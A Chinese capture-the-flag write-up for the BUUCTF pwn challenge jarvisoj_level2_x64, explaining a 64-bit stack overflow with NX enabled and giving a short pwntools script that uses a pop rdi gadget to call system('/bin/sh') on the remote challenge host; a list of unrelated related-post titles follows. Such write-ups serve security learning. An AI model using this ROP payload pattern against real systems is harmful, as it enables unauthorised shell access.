[BUUCTF-pwn]——jarvisoj_level2_x64

  • 题目地址:https://buuoj.cn/challenges#jarvisoj_level2_x64

checksec 一下,64位 ,开启NX保护

64位应该会用到pop rdi这个汇编指令

在IDA中看看




思路:64位先将binsh这个参数放入,rdi寄存器中.紧接着返回并执行system函数

exploit

from pwn import *
p = remote("node3.buuoj.cn",27828)
binsh = 0x0600A90
sys_addr = 0x0400603
pop_rdi = 0x04006b3
payload = 'a' * (0x80 + 0x8) + p64(pop_rdi) + p64(binsh) + p64(sys_addr)
p.sendline(payload)
p.interactive()

希望你可以点个赞,打赏一下哟

[BUUCTF-pwn]——jarvisoj_level2_x64相关推荐

  1. 持续更新 BUUCTF——PWN(一)

    文章目录 前言 test_your_nc rip warmup_csaw_2016 ciscn_2019_n_1 pwn1_sctf_2016 jarvisoj_level0 [第五空间2019 决赛 ...

  2. BUUCTF Pwn warmup

    BUUCTF Pwn warmup 1.题目下载地址 2.checksec检查保护 3.IDA静态分析 4.exp 1.题目下载地址 点击下载题目 2.checksec检查保护 啥都没开,果然是war ...

  3. BUUCTF PWN rip1 WP

    BUUCTF   PWN   rip 1 这是一个WP,也是一个自己练习过程的记录. 先把文件放入pwn机中检查一下,发现并没有开启保护,所以应该是一道简单题 我们运行一下试试,它让你输入一段字符然后 ...

  4. buuctf pwn bjdctf_2020_babyrop

    buuctf pwn bjdctf_2020_babyrop 1.checksec 2.IDA分析 ropper 3.exp 1.checksec 运行一下 2.IDA分析 这里调用了vuln函数 我 ...

  5. 持续更新 BUUCTF——PWN(二)

    文章目录 前言 0ctf_2017_babyheap ciscn_2019_s_9 hitcon2014_stkof roarctf_2019_easy_pwn picoctf_2018_shellc ...

  6. BUUCTF PWN 刷题 1-15题

    1 rip 经典栈溢出漏洞. from pwn import *p = remote('node4.buuoj.cn', 27181)payload = b'a' * 23 + p64(0x40118 ...

  7. 持续更新 BUUCTF——PWN(三)

    文章目录 前言 axb_2019_heap oneshot_tjctf_2016 护网杯_2018_gettingstart wustctf2020_number_game zctf2016_note ...

  8. Buuctf(pwn) picoctf_2018_rop chain 栈溢出

    32位,开启了NX保护 利用思路 首先溢出后覆盖ret为function1函数地址,将win1赋值为1,之后跳转到function2的地址,a1是传入的参数,将a1传入即可满足条件去设置win2的值为 ...

  9. BUUCTF(pwn) jarvisoj_level4 栈溢出,泄露libc

    思路 我们没有system和'/bin/sh'地址.也不知道libc版本, 我们可以先leek出来一个地址, 利用偏移找到system和'/bin/sh'地址.再返回main进行循环调用,第二次就可以 ...

  10. Buuctf(pwn) jarvisoj_tell_me_something 栈溢出

    64位程序,开启了NX保护 400620 from pwn import *r=remote('node4.buuoj.cn',29273)flag_addr=0x400620payload='a'* ...

最新文章

  1. Silverlight揭秘
  2. 图像拼接 Image-based only, no GPS/IMU data
  3. List列表 OrderBy
  4. Python中的高效的集合操作
  5. 光环大数据spark文档_推荐大数据Spark必读书目
  6. 判断字符串出栈合法性
  7. 怎样测量地图上曲线的长度_测量长度的特殊方法
  8. 塔菲克蓝牙适配器驱动_小身材,大功能,biaze毕亚兹USB蓝牙适配器开箱体验
  9. 利用JS代码屏蔽指定地区访客浏览网站
  10. 一般不要在头文件中定义变量
  11. 魅族魅蓝note6救砖及高通救砖工具分享
  12. java 16进制_JAVA 十六进制与字符串的转换
  13. RGB、HSL、Hex网页色彩码,看完这篇全懂了
  14. ZEMAX | 如何对中间面进行优化
  15. 【Excel】如何去掉编辑栏
  16. [转]决定人生的三种成本:机会成本,沉没成本,边际成本
  17. python可变数据类型和不可变数据类型
  18. 期望/概率dp 学习报告
  19. 风丘科技为您提供电动汽车高压测试方案
  20. python中rim的用法_词汇精选:rim的用法和辨析

热门文章

  1. 转:SharePoint站点中用户信息与AD用户信息的“不一致”问题
  2. 牛客网(剑指offer) 第十八题 二叉树的镜像
  3. 代码执行-preg_replace
  4. HarmonyOS之AI能力·IM类意图识别
  5. HarmonyOS之AI能力·助手类意图识别
  6. Swift之深入解析“指针”的使用和实现
  7. Linux(一) 概述 、 系统安装与分区
  8. ubuntu中如何解压rar文件
  9. 【Linux】一步一步学Linux——mktemp命令(263)
  10. 【Vs2015】 常用字体的设置